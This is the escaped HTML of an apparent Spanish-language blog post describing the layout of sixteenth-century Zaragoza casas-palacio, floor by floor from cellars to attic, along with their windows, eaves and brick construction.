&lt;b&gt;&lt;/b&gt;&lt;i&gt;&lt;/i&gt;&lt;u&gt;&lt;/u&gt;&lt;sub&gt;&lt;/sub&gt;&lt;sup&gt;&lt;/sup&gt;&lt;strike&gt;&lt;/strike&gt;&lt;span face=&quot;sans-serif&quot;&gt;&lt;/span&gt;&lt;b&gt;&lt;/b&gt;&lt;i&gt;&lt;/i&gt;&lt;u&gt;&lt;/u&gt;&lt;sub&gt;&lt;/sub&gt;&lt;sup&gt;&lt;/sup&gt;&lt;strike&gt;&lt;/strike&gt;&lt;b&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; style=&quot;background: white; color: #222222; line-height: 115%;&quot;&gt;¿Cómo&lt;/span&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; style=&quot;line-height: 115%;&quot;&gt; eran, entonces, las casas-palacio zaragozanas a lo largo
del siglo XVI?&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-size: normal; line-height: 115%;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot; style=&quot;line-height: 115%;&quot;&gt;Cada propietario diseñaba su casa según sus medios económicos y
sus gustos personales, como es natural. También influía la moda de la época así
como el arquitecto encargado de la obra. Pero, a pesar de todo, los llamados
“palacios aragoneses” presentaban unas
características comunes que vamos a enumerar de abajo a arriba:&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: 12pt; line-height: 115%;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnnwGy1T2awZtMeIcpePX5geS2IaH8-UUD8rWh-qI2BXIUpWBxwGwU04IIn3QONBv1mKBRMiKA-ZLeL48uofRTk5c7TS44cYDA2DGkU9mIadBtEaKHWMEpsZQjv8eTKEE2O7D0_qU9EM_H/s1600/bodega.png&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;160&quot; data-original-width=&quot;126&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnnwGy1T2awZtMeIcpePX5geS2IaH8-UUD8rWh-qI2BXIUpWBxwGwU04IIn3QONBv1mKBRMiKA-ZLeL48uofRTk5c7TS44cYDA2DGkU9mIadBtEaKHWMEpsZQjv8eTKEE2O7D0_qU9EM_H/s1600/bodega.png&quot; /&gt;&lt;/span&gt;&lt;/a&gt;
&lt;br /&gt;
&lt;div style=&quot;mso-list: l1 level1 lfo1; text-align: justify; text-indent: -18pt;&quot;&gt;
&lt;span style=&quot;font-normal: &amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif;&quot;&gt;&lt;span style=&quot;font-size: normal; line-height: 115%;&quot;&gt;&lt;span style=&quot;mso-list: Ignore;&quot;&gt;&lt;span style=&quot;font: 7pt &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-normal: &amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif;&quot;&gt;&lt;span style=&quot;font-size: normal; line-height: 115%;&quot;&gt;&lt;span style=&quot;mso-list: Ignore;&quot;&gt;&lt;span style=&quot;font: 7pt &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 12pt; line-height: 115%;&quot;&gt;&amp;nbsp; En todas las casas había unos sótanos o &lt;/span&gt;&lt;/span&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span style=&quot;font-size: 12pt; line-height: 115%;&quot;&gt;&lt;span style=&quot;font-normal: &amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif;&quot;&gt;&lt;span style=&quot;font-size: 12pt; line-height: 115%;&quot;&gt;subterráneos &lt;/span&gt;&lt;/span&gt;que servían como bodega, para almacenar alimentos, aceite, etc. por ser
un lugar fresco y a temperatura constante. Estas bodegas, a veces, servían
también de comunicación de unas casas con otras&lt;/span&gt;&lt;span style=&quot;font-size: normal; line-height: 115%;&quot;&gt;.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span style=&quot;font-size: normal; line-height: 115%;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; style=&quot;line-height: 115%;&quot;&gt;&amp;nbsp;&amp;nbsp; Las casas tenían unas zonas destinadas a
establos, corrales e incluso podían tener huertos. Estos últimos, además de proporcionar alimentos,
servían también para el esparcimiento de la familia.&lt;/span&gt;&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4g-eWBU4haLyGd8nmRgPNk1I1DkD1gZTuvv561Indm7Y6ntWpIglO4Py9yWuGRnWGGucMZSjURhJ2uRtehcY26KZMXpZ7aZzzEOoFLvnB_mAzmdau71MCD_E05rere7szjhekCHAGDKkm/s1600/Zaragoza_-_Casa_de_Miguel_Donlope.jpg&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;405&quot; data-original-width=&quot;477&quot; height=&quot;334&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4g-eWBU4haLyGd8nmRgPNk1I1DkD1gZTuvv561Indm7Y6ntWpIglO4Py9yWuGRnWGGucMZSjURhJ2uRtehcY26KZMXpZ7aZzzEOoFLvnB_mAzmdau71MCD_E05rere7szjhekCHAGDKkm/s400/Zaragoza_-_Casa_de_Miguel_Donlope.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span style=&quot;font-size: x-normal;&quot;&gt;Casa de Miguel Donlope, sede de la Real Maestranza&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-normal: &amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;; line-height: 115%;&quot;&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-normal: &amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;; line-height: 115%;&quot;&gt;La casa-palacio propiamente
dicha solía dividirse, como se ha dicho, en tres plantas:&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-normal: &amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;; line-height: 115%;&quot;&gt;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;mso-list: l0 level1 lfo1; text-align: justify; text-indent: -18pt;&quot;&gt;
&lt;span style=&quot;font-normal: &amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;; line-height: 115%;&quot;&gt;&lt;span style=&quot;mso-list: Ignore;&quot;&gt;-&lt;span style=&quot;font: 7pt &amp;quot;Times New Roman&amp;quot;;&quot;&gt; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-normal: &amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;; line-height: 115%;&quot;&gt;&lt;span style=&quot;mso-list: Ignore;&quot;&gt;&lt;span style=&quot;font-normal: &amp;quot;times new roman&amp;quot;; font-stretch: normal; font-style: normal; font-variant: normal; font-weight: normal; line-height: normal;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-normal: &amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif; font-size: xx-small;&quot;&gt;&amp;nbsp; &lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-normal: &amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;; line-height: 115%;&quot;&gt;&lt;b&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;/span&gt;&lt;span style=&quot;font-normal: &amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif; font-size: xx-normal;&quot;&gt;PLANTA BAJA:&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-size: normal;&quot;&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;mso-list: l0 level1 lfo1; text-align: justify; text-indent: -18pt;&quot;&gt;
&lt;span style=&quot;font-size: normal; line-height: 115%;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;/span&gt;&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;mso-list: l0 level1 lfo1; text-align: justify; text-indent: -18pt;&quot;&gt;
&lt;span style=&quot;font-normal: &amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif; line-height: 115%;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; En esta planta se localizaba la
entrada al edificio. A través de un pequeño espacio que servía de recibidor se
llegaba al patio, eje central de la casa. Aquí, “entresuelo”, se distribuían
los talleres de artesanos y podían localizarse algunas habitaciones destinadas
a dependencias de verano. Las ventanas, por el exterior, solían tener una reja.&lt;/span&gt;&lt;/div&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; style=&quot;line-height: 115%;&quot;&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div style=&quot;mso-list: l0 level1 lfo1; text-align: justify; text-indent: -18pt;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; style=&quot;line-height: 115%;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; style=&quot;line-height: 115%;&quot;&gt;
&lt;/span&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmFMiS-lp4RhHgQ3RPH7AI5u8T19141evlQRtONuw9W2Y1cPRBth8YPlFnNIzkheKTf8PHGslMYS2G7olb1U1KbFOVk4l-AtPVQNaNl7nuWeruQ4rxRgW0B4mo6UTczFkhIt4GSgBxogwC/s1600/3610652911_b2610e32f0_b.jpg&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;728&quot; data-original-width=&quot;1024&quot; height=&quot;455&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmFMiS-lp4RhHgQ3RPH7AI5u8T19141evlQRtONuw9W2Y1cPRBth8YPlFnNIzkheKTf8PHGslMYS2G7olb1U1KbFOVk4l-AtPVQNaNl7nuWeruQ4rxRgW0B4mo6UTczFkhIt4GSgBxogwC/s640/3610652911_b2610e32f0_b.jpg&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;b&gt;&lt;/b&gt;&lt;i&gt;&lt;/i&gt;&lt;u&gt;&lt;/u&gt;&lt;sub&gt;&lt;/sub&gt;&lt;sup&gt;&lt;/sup&gt;&lt;strike&gt;&lt;/strike&gt;&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; style=&quot;line-height: 115%;&quot;&gt;&lt;/span&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; style=&quot;line-height: 115%;&quot;&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;span style=&quot;font-size: xx-normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot; style=&quot;font-size: xx-normal;&quot;&gt;&lt;b&gt;PLANTA PRINCIPAL:&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;br /&gt;
&lt;div style=&quot;mso-list: l0 level1 lfo1; text-align: justify; text-indent: -18pt;&quot;&gt;
&lt;span style=&quot;font-size: xx-normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span style=&quot;font-size: xx-normal;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;mso-list: l0 level1 lfo1; text-align: justify; text-indent: -18pt;&quot;&gt;
&lt;span style=&quot;font-size: xx-normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span style=&quot;line-height: 115%;&quot;&gt;&lt;span style=&quot;font-size: xx-normal;&quot;&gt;.&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;font-size: xx-normal;&quot;&gt;Subiendo una
ancha escalera, se llegaba a los salones y dormitorios. En esta planta las
habitaciones para recibir y celebrar las fiestas se localizaban centradas en la
facha con amplios ventanales&lt;/span&gt;&lt;span style=&quot;background-color: white; color: black; display: inline; float: none; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; line-height: 115%; text-align: justify; text-decoration: none; text-indent: -24px; text-transform: none; white-space: normal; word-spacing: 0px;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; style=&quot;line-height: 115%;&quot;&gt;&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span style=&quot;background-color: white; color: black; display: inline; float: none; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; line-height: 115%; text-align: justify; text-decoration: none; text-indent: -24px; text-transform: none; white-space: normal; word-spacing: 0px;&quot;&gt;y&amp;nbsp;&amp;nbsp; junto a ellas se encontraban las habitaciones que servían de dormitorios. &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;Se abrían por el interior a un corredor que a
modo de&amp;nbsp; cla&lt;span style=&quot;line-height: 115%;&quot;&gt;&lt;span style=&quot;font-size: x-normal;&quot;&gt;ustro recorría el
patio.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; lang=&quot;ES&quot; style=&quot;line-height: 115%;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt; En ella se encontraban los salones
para recibir a las visitas, celebrar fiestas, bailar, etc&lt;/span&gt;. y junto a ellos las
habitaciones que servían de dormitorios. Estas dependencias eran habitadas
durante el invierno, pues estaban alejadas de las humedades y el frío de la
calle. &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;


&lt;/span&gt;&lt;/span&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; style=&quot;font-size: 12pt; line-height: 115%;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; lang=&quot;ES&quot; style=&quot;font-size: 12pt; line-height: 115%;&quot;&gt;&lt;b&gt;&lt;/b&gt;&lt;i&gt;&lt;/i&gt;&lt;u&gt;&lt;/u&gt;&lt;sub&gt;&lt;/sub&gt;&lt;sup&gt;&lt;/sup&gt;&lt;strike&gt;&lt;/strike&gt;&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; style=&quot;line-height: 115%;&quot;&gt;
&lt;/span&gt;
&lt;br /&gt;
&lt;div style=&quot;mso-list: l0 level1 lfo1; text-align: justify; text-indent: -18pt;&quot;&gt;
&lt;/div&gt;
&lt;span style=&quot;font-normal: &amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;; line-height: 115%;&quot;&gt;
&lt;/span&gt;
&lt;br /&gt;
&lt;div style=&quot;mso-list: l0 level1 lfo1; text-align: justify; text-indent: -18pt;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; lang=&quot;ES&quot; style=&quot;line-height: 115%;&quot;&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWuL8E0nnLnP2q1IZB2HH97QnOjVVgi3n_JBSjrQeMQwjYnQTGNH5Pb11p28xsTwPAZVw1JYF2GKnpHiPOuA5N22dcWwbJb0O05lNYd9a7qMVk1LdgPWTA_I3B1M1JBnIwhSWp0y6kzpkv/s1600/escalera.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;259&quot; data-original-width=&quot;194&quot; height=&quot;640&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWuL8E0nnLnP2q1IZB2HH97QnOjVVgi3n_JBSjrQeMQwjYnQTGNH5Pb11p28xsTwPAZVw1JYF2GKnpHiPOuA5N22dcWwbJb0O05lNYd9a7qMVk1LdgPWTA_I3B1M1JBnIwhSWp0y6kzpkv/s640/escalera.png&quot; width=&quot;478&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;b&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot; style=&quot;font-size: xx-normal;&quot;&gt;PLANTA SUPERIOR:&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;/span&gt;

&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-normal: &amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;; line-height: 115%;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span style=&quot;font-size: x-normal;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; style=&quot;line-height: 115%;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;
&lt;/span&gt;&lt;/span&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; style=&quot;line-height: 115%;&quot;&gt;&lt;span style=&quot;font-size: xx-normal;&quot;&gt;Se encontraba bajo la cubierta. Allí se
localizaba el desván, un espacio destinado a usos privados como almacenaje,
aunque si hacía falta espacio podía tener también alguna habitación. &amp;nbsp;Al exterior, la ventilación se realizaba por
medio de vanos estrechos. Esta planta se denominaba “falsa cubierta” y a las
ventanas, mirador.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-normal: &amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;; line-height: 115%;&quot;&gt;&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOnrwOSZGQU259nmTt18y4woShiefN8S27Zthof88g3uHqE3rsXv87e2VpO-AJbeH_YfVssjTvw-YceMPEYmBKhtXwPvqULOye4497duTuD1JhfcOQtrwXavUFbguoYKjcakIjIcJoZ1HW/s1600/galer%25C3%25ADa+de+arcos.jpg&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;212&quot; data-original-width=&quot;375&quot; height=&quot;360&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOnrwOSZGQU259nmTt18y4woShiefN8S27Zthof88g3uHqE3rsXv87e2VpO-AJbeH_YfVssjTvw-YceMPEYmBKhtXwPvqULOye4497duTuD1JhfcOQtrwXavUFbguoYKjcakIjIcJoZ1HW/s640/galer%25C3%25ADa+de+arcos.jpg&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; style=&quot;line-height: 115%;&quot;&gt;&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;u&gt;&lt;/u&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;span style=&quot;font-normal: &amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;; line-height: 115%;&quot;&gt;A
principios del&amp;nbsp; siglo XVI no era
costumbre usar vidrio en las ventanas, ya que era un material muy caro. En su
lugar los vanos se cubrían con papel encerado o, a veces, alabastro que traían
por el Ebro desde la localidad de Gelsa, aguas abajo. También era costumbre
(como se ha venido haciendo en los pueblos hasta hace poco) poner en los huecos&lt;span style=&quot;font-normal: &amp;quot;times new roman&amp;quot;;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; style=&quot;line-height: 115%;&quot;&gt;cuatro
hojas de madera para poder abrir indistintamente los de arriba o los de abajo,
según las necesidades.&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-normal: &amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;; line-height: 115%;&quot;&gt;&lt;span style=&quot;font-size: xx-normal;&quot;&gt;Todo
el edificio se remataba con un alero, llamado de “cabezales” (ménsulas) y
“cañuelos” (piezas que sostenían las tablas de cierre y formaban el vuelo).
Estos aleros eran verdaderas obras de arte.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-normal: &amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;; line-height: 115%;&quot;&gt;&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3xDG485W_StYFR9slT5ycy3ec9CTXuusgixu1wtnzSfHSDe50KVhDV195F6RMijmw4ok-mauFoSwmOYamZIFSg4Rg0Xq8rSlsJfb7iPEDb-kCLRttChxCX29bGbmfd3wRMSpN0X-R7AzQ/s1600/Zaragoza_-_Museo_Pablo_Gargallo+alero.jpg&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;221&quot; data-original-width=&quot;781&quot; height=&quot;180&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3xDG485W_StYFR9slT5ycy3ec9CTXuusgixu1wtnzSfHSDe50KVhDV195F6RMijmw4ok-mauFoSwmOYamZIFSg4Rg0Xq8rSlsJfb7iPEDb-kCLRttChxCX29bGbmfd3wRMSpN0X-R7AzQ/s640/Zaragoza_-_Museo_Pablo_Gargallo+alero.jpg&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;&lt;/b&gt;&lt;i&gt;&lt;/i&gt;&lt;u&gt;&lt;/u&gt;&lt;sub&gt;&lt;/sub&gt;&lt;sup&gt;&lt;/sup&gt;&lt;strike&gt;&lt;/strike&gt;&lt;/div&gt;
&lt;b&gt;&lt;/b&gt;&lt;i&gt;&lt;/i&gt;&lt;u&gt;&lt;/u&gt;&lt;sub&gt;&lt;/sub&gt;&lt;sup&gt;&lt;/sup&gt;&lt;strike&gt;&lt;/strike&gt;

&lt;br /&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;/span&gt;

&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-normal: &amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;; line-height: 115%;&quot;&gt;&lt;span style=&quot;font-size: xx-normal;&quot;&gt;Dadas
las características de nuestra ciudad y del terreno que tenemos alrededor, el
material utilizado para la construcción de estos edificios era siempre el
ladrillo o “rejola”, fabricados en las afueras de la ciudad, &amp;nbsp;aunque cuando hacía falta piedra se recurría a
la de la muralla romana. &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
